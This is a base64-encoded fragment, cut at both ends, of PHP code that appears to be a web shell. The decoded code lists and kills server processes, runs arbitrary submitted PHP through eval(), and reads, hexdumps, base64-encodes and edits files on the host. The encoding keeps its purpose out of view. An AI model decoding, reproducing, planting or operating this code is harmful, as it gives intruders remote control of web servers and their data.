gICB9DQogIH0NCiAgZWNobyAiPC9kaXY+XG4iOw0KfQ0KaWYgKCR4ID09ICJwcm9jZXNzZXMiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPlsgUHJvY2Vzc2VzIF08L2Rpdj4iOw0KICBpZiAoISR3aW4pIHsgJGhhbmRsZXIgPSAicHMgLWF1eCIuKCRncmVwPyIgfCBncmVwICciLmFkZHNsYXNoZXMoJGdyZXApLiInIjoiIik7IH0NCiAgZWxzZSB7ICRoYW5kbGVyID0gInRhc2tsaXN0IjsgfQ0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGhhbmRsZXIpOw0KICBpZiAoISRyZXQpIHsgZWNobyAiQ2FuJ3QgZXhlY3V0ZSBcIiIuJGhhbmRsZXIuIlwiISI7IH0NCiAgZWxzZSB7DQogICAgaWYgKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpIHskcHJvY2Vzc2VzX3NvcnQgPSAkc29ydF9kZWZhdWx0O30NCiAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRwcm9jZXNzZXNfc29ydCk7DQogICAgaWYgKCFpc19udW1lcmljKCRwYXJzZXNvcnRbMF0pKSB7JHBhcnNlc29ydFswXSA9IDA7fQ0KICAgICRrID0gJHBhcnNlc29ydFswXTsNCiAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsNCiAgICAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfZGVzY1wiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICB9DQogICAgZWxzZSB7DQogICAgICAkeSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0X2FzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgIH0NCiAgICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsNCiAgICBpZiAoISR3aW4pIHsNCiAgICAgIGlmICgkcGlkKSB7DQogICAgICAgIGlmIChpc19udWxsKCRzaWcpKSB7JHNpZyA9IDk7fQ0KICAgICAgICBlY2hvICJTZW5kaW5nIHNpZ25hbCAiLiRzaWcuIiB0byAjIi4kcGlkLiIuLi4gIjsNCiAgICAgICAgaWYgKHBvc2l4X2tpbGwoJHBpZCwkc2lnKSkge2VjaG8gIk9LLiI7fQ0KICAgICAgICBlbHNlIHtlY2hvICJFUlJPUi4iO30NCiAgICAgIH0NCiAgICAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOw0KICAgICAgdW5zZXQoJHN0YWNrWzBdKTsNCiAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii4kaGVhZFskaV0uIjwvYj48L2E+Ijt9DQogICAgICB9DQogICAgICAkcHJjcyA9IGFycmF5KCk7DQogICAgICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCiAgICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgICAgICAkbGluZVsxMF0gPSBqb2luKCIgIixhcnJheV9zbGljZSgkbGluZSwxMCkpOw0KICAgICAgICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7DQogICAgICAgICAgaWYgKCRsaW5lWzBdID09IGdldF9jdXJyZW50X3VzZXIoKSkgeyRsaW5lWzBdID0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxpbmVbMF0uIjwvZm9udD4iO30NCiAgICAgICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PXByb2Nlc3NlcyZkPSIudXJsZW5jb2RlKCRkKS4iJnBpZD0iLiRsaW5lWzFdLiImc2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOw0KICAgICAgICAgICRwcmNzW10gPSAkbGluZTsNCiAgICAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7DQogICAgICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30NCiAgICAgIHdoaWxlIChlcmVnKCI9IiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiPSIsIiIsJHJldCk7fQ0KICAgICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgICAgdW5zZXQoJHN0YWNrWzBdLCRzdGFja1syXSk7DQogICAgICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsNCiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiSW1hZ2UgTmFtZSIsIkltYWdlTmFtZSIsJHN0YWNrWzBdKTsNCiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiU2Vzc2lvbiBOYW1lIiwiU2Vzc2lvbk5hbWUiLCRzdGFja1swXSk7DQogICAgICAkc3RhY2tbMF09c3RyX3JlcGxhY2UoIk1lbSBVc2FnZSIsIk1lbW9yeVVzYWdlIiwkc3RhY2tbMF0pOw0KICAgICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOw0KICAgICAgJHN0YWNrID0gYXJyYXlfc2xpY2UoJHN0YWNrLDEpOw0KICAgICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhlYWQpOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7ICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfZGVzY1wiIGJvcmRlcj1cIjBcIj48L2E+IjsgfQ0KICAgICAgZWxzZSB7ICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfYXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOyB9DQogICAgICBpZiAoJGsgPiBjb3VudCgkaGVhZCkpIHskayA9IGNvdW50KCRoZWFkKS0xO30NCiAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyAkaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7IH0NCiAgICAgIH0NCiAgICAgICRwcmNzID0gYXJyYXkoKTsNCiAgICAgIHVuc2V0KCRzdGFja1swXSk7DQogICAgICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCiAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgICAgICAkbGluZVs0XSA9IHN0cl9yZXBsYWNlKCIuIiwiIiwkbGluZVs0XSk7DQogICAgICAgICAgJGxpbmVbNF0gPSBpbnR2YWwoJGxpbmVbNF0pICogMTAyNDsNCiAgICAgICAgICB1bnNldCgkbGluZVs1XSk7DQogICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICAgICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7DQogICAgJHYgPSAkcHJvY2Vzc2VzX3NvcnRbMF07DQogICAgdXNvcnQoJHByY3MsInRhYnNvcnQiKTsNCiAgICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fQ0KICAgICR0YWIgPSBhcnJheSgpOw0KICAgICR0YWJbXSA9ICRoZWFkOw0KICAgICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsNCiAgICBlY2hvICI8dGFibGUgY2xhc3M9ZXhwbG9yZXI+IjsNCiAgICBmb3JlYWNoKCR0YWIgYXMgJGk9PiRrKSB7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGZvcmVhY2goJGsgYXMgJGo9PiR2KSB7DQogICAgICAgIGlmICgkd2luIGFuZCAkaSA+IDAgYW5kICRqID09IDQpIHskdiA9IHZpZXdfc2l6ZSgkdik7fQ0KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOw0KICAgICAgfQ0KICAgICAgZWNobyAiPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICI8L3RhYmxlPiI7DQogIH0NCn0NCmlmICgkeCA9PSAiZXZhbCIpIHsNCiAgaWYgKCFlbXB0eSgkZXZhbCkpIHsNCiAgICBlY2hvICJSZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgUEhQLWNvZGU6PGJyPiI7DQogICAgJHRtcCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOw0KICAgIEBjaGRpcigkZCk7DQogICAgaWYgKCR0bXApIHsNCiAgICAgIG9iX2NsZWFuKCk7DQogICAgICBldmFsKCRldmFsKTsNCiAgICAgICRyZXQgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgICAgIG9iX2NsZWFuKCk7DQogICAgICBlY2hvICR0bXA7DQogICAgICBpZiAoJGV2YWxfdHh0KSB7DQogICAgICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7DQogICAgICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICAgICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsNCiAgICAgIH0NCiAgICAgIGVsc2Uge2VjaG8gJHJldC4iPGJyPiI7fQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIGlmICgkZXZhbF90eHQpIHsNCiAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+IjsNCiAgICAgICAgZXZhbCgkZXZhbCk7DQogICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+IjsNCiAgICAgIH0NCiAgICAgIGVsc2Uge2VjaG8gJHJldDt9DQogICAgfQ0KICAgIEBjaGRpcigkb2xkZGlyKTsNCiAgfQ0KICBlbHNlIHtlY2hvICI8Yj5QSFAtY29kZSBFeGVjdXRpb24gKFVzZSB3aXRob3V0IFBIUCBCcmFjZXMhKTwvYj4iOyBpZiAoZW1wdHkoJGV2YWxfdHh0KSkgeyRldmFsX3R4dCA9IFRSVUU7fX0NCiAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1ldmFsPjx0ZXh0YXJlYSBuYW1lPVwiZXZhbFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGV2YWwpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJldmFsX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRldmFsX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsNCn0NCmlmICgkeCA9PSAiZiIpIHsNCiAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PiI7DQogIGlmICgoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9ICJlZGl0Iikgew0KICAgIGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQ0KICAgIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iJmM9MVwiPjx1PkNyZWF0ZTwvdT48L2E+PC9jZW50ZXI+Ijt9DQogIH0NCiAgZWxzZSB7DQogICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7DQogICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgICRleHQgPSAkZXh0WyRjXTsNCiAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICAkcmZ0ID0gIiI7DQogICAgZm9yZWFjaCgkZnR5cGVzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fX0NCiAgICBpZiAoZXJlZ2koInNlc3NfKC4qKSIsJGYpKSB7JHJmdCA9ICJwaHBzZXNzIjt9DQogICAgaWYgKGVtcHR5KCRmdCkpIHskZnQgPSAkcmZ0O30NCiAgICAkYXJyID0gYXJyYXkoDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfZGl6XCIgYm9yZGVyPVwiMFwiPiIsImluZm8iKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9odG1sXCIgYm9yZGVyPVwiMFwiPiIsImh0bWwiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF90eHRcIiBib3JkZXI9XCIwXCI+IiwidHh0IiksDQogICAgICAgIGFycmF5KCJDb2RlIiwiY29kZSIpLA0KICAgICAgICBhcnJheSgiU2Vzc2lvbiIsInBocHNlc3MiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9leGVcIiBib3JkZXI9XCIwXCI+IiwiZXhlIiksDQogICAgICAgIGFycmF5KCJTREIiLCJzZGIiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9naWZcIiBib3JkZXI9XCIwXCI+IiwiaW1nIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfaW5pXCIgYm9yZGVyPVwiMFwiPiIsImluaSIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZG93bmxvYWRcIiBib3JkZXI9XCIwXCI+IiwiZG93bmxvYWQiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9ydGZcIiBib3JkZXI9XCIwXCI+Iiwibm90ZXBhZCIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9Y2hhbmdlXCIgYm9yZGVyPVwiMFwiPiIsImVkaXQiKQ0KICAgICk7DQogICAgZWNobyAiPGI+Vmlld2luZyBmaWxlOiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF8iLiRleHQuIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRmLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIikgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9iPjxicj5TZWxlY3QgYWN0aW9uL2ZpbGUtdHlwZTo8YnI+IjsNCiAgICBmb3JlYWNoKCRhcnIgYXMgJHQpIHsNCiAgICAgIGlmICgkdFsxXSA9PSAkcmZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxmb250IGNvbG9yPWdyZWVuPiIuJHRbMF0uIjwvZm9udD48L2E+Ijt9DQogICAgICBlbHNlaWYgKCR0WzFdID09ICRmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj48dT4iLiR0WzBdLiI8L3U+PC9iPjwvYT4iO30NCiAgICAgIGVsc2Uge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQ0KICAgICAgZWNobyAiICg8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHRhcmdldD1cIl9ibGFua1wiPis8L2E+KSB8IjsNCiAgICB9DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIGlmICgkZnQgPT0gImluZm8iKSB7DQogICAgICBlY2hvICI8Yj5JbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxiPlBhdGg8L2I+PC90ZD48dGQ+ICIuJGQuJGYuIjwvdGQ+PC90cj48dHI+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+ICIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1ENTwvYj48L3RkPjx0ZD4gIi5tZDVfZmlsZSgkZC4kZikuIjwvdGQ+PC90cj4iOw0KICAgICAgaWYgKCEkd2luKSB7DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7DQogICAgICAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZC4kZikpOw0KICAgICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgICAgICAgZWNobyAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuIng9Y2htb2QmZj0iLnVybGVuY29kZSgkZikuIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAkZmkgPSBmb3BlbigkZC4kZiwicmIiKTsNCiAgICAgIGlmICgkZmkpIHsNCiAgICAgICAgaWYgKCRmdWxsaGV4ZHVtcCkge2VjaG8gIjxiPkZVTEwgSEVYRFVNUDwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLGZpbGVzaXplKCRkLiRmKSk7fQ0KICAgICAgICBlbHNlIHtlY2hvICI8Yj5IRVhEVU1QIFBSRVZJRVc8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSwkaGV4ZHVtcF9saW5lcyokaGV4ZHVtcF9yb3dzKTt9DQogICAgICAgICRuID0gMDsNCiAgICAgICAgJGEwID0gIjAwMDAwMDAwPGJyPiI7DQogICAgICAgICRhMSA9ICIiOw0KICAgICAgICAkYTIgPSAiIjsNCiAgICAgICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJHN0cik7ICRpKyspIHsNCiAgICAgICAgICAkYTEgLj0gc3ByaW50ZigiJTAyWCIsb3JkKCRzdHJbJGldKSkuIiAiOw0KICAgICAgICAgIHN3aXRjaCAob3JkKCRzdHJbJGldKSkgew0KICAgICAgICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAzMjoNCiAgICAgICAgICAgIGNhc2UgMTA6DQogICAgICAgICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOw0KICAgICAgICAgICAgZGVmYXVsdDogJGEyIC49IGh0bWxzcGVjaWFsY2hhcnMoJHN0clskaV0pOw0KICAgICAgICAgIH0NCiAgICAgICAgICAkbisrOw0KICAgICAgICAgIGlmICgkbiA9PSAkaGV4ZHVtcF9yb3dzKSB7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICBpZiAoJGkrMSA8IHN0cmxlbigkc3RyKSkgeyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSsxKS4iPGJyPiI7fQ0KICAgICAgICAgICAgJGExIC49ICI8YnI+IjsNCiAgICAgICAgICAgICRhMiAuPSAiPGJyPiI7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MSBiZ2NvbG9yPSM2NjY2NjY+Ii4NCiAgICAgICAgICAgICAiPHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+Ii4NCiAgICAgICAgICAgICAiPHRkIGJnY29sb3I9IzAwMDAwMD4iLiRhMS4iPC90ZD4iLg0KICAgICAgICAgICAgICI8dGQgYmdjb2xvcj0jMDAwMDAwPiIuJGEyLiI8L3RkPiIuDQogICAgICAgICAgICAgIjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgIH0NCiAgICAgICRlbmNvZGVkID0gIiI7DQogICAgICBpZiAoJGJhc2U2NCA9PSAxKSB7DQogICAgICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGU8L2I+PGJyPiI7DQogICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmKCRiYXNlNjQgPT0gMikgew0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bms8L2I+PGJyPiI7DQogICAgICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZigkYmFzZTY0ID09IDMpIHsNCiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rICsgUXVvdGVzPC9iPjxicj4iOw0KICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgICAgICAgJGVuY29kZWQgPSBzdWJzdHIocHJlZ19yZXBsYWNlKCIhLnsxLDc2fSEiLCInXFwwJy5cbiIsJGVuY29kZWQpLDAsLTIpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmKCRiYXNlNjQgPT0gNCkgew0KICAgICAgICAkdGV4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZGVjb2RlKCR0ZXh0KTsNCiAgICAgICAgZWNobyAiPGI+QmFzZTY0IERlY29kZSI7DQogICAgaWYgKGJhc2U2NF9lbmNvZGUoJGVuY29kZWQpICE9ICR0ZXh0KSB7ZWNobyAiIChmYWlsZWQpIjt9DQogICAgZWNobyAiPC9iPjxicj4iOw0KICAgfQ0KICAgaWYgKCFlbXB0eSgkZW5jb2RlZCkpDQogICB7DQogICAgZWNobyAiPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZWQpLiI8L3RleHRhcmVhPjxicj48YnI+IjsNCiAgIH0NCiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZnVsbGhleGR1bXA9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RnVsbDwvYT5dIFs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPg0KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT5dJm5ic3A7PC9ub2JyPg0KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTImZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuazwvYT5dJm5ic3A7PC9ub2JyPg0KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPFA+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaHRtbCIpIHsNCiAgIGlmICgkd2hpdGUpIHtAb2JfY2xlYW4oKTt9DQogICBlY2hvICRyOw0KICAgaWYgKCR3aGl0ZSkge2NhcHJpdjhleGl0K